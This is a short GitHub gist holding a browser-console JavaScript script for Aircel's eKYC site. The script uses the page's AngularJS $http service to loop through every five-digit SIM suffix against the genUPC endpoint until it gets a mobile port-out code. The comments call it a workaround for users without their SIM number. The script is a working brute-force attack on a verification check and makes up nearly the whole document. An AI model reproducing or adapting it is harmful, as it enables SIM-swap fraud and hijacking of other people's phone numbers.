Created
April 1, 2018 18:54
-
-
Save neophyt3/ccb1fea9b47ecd1ae57c3a054e57c5d6 to your computer and use it in GitHub Desktop.
Aircel UPC generator incase you dont have sim number
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//https://ekyc.aircel.com:444/ekyc/genUPC.html | |
//this site uses angularjs | |
//let take advantage of developer tools console tab | |
//lets grab the http service of anugular js | |
$http = angular.element(document.body).injector().get('$http') | |
//so now, lets have a handy function to send post request | |
//returns promise | |
function sendPost(simnum){ return $http.post('https://ekyc.aircel.com:444/ekyc/rest/genUPC', {"service_id":"WEB_UPC","msisdn":"919768XXXXXX","sim":simnum})} | |
//now we can take advantage of es6 async/await to synchronously loop.. | |
async function loop() { | |
//5 digit sim | |
for (let i = 10000; i < 99999; i++) { | |
let res = await sendPost(i) | |
console.log(i); | |
//if found.. print it and exit | |
if(res.data.upc){ | |
console.log(res.data.upc) | |
break | |
} | |
} | |
} | |
// now we begin | |
loop() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment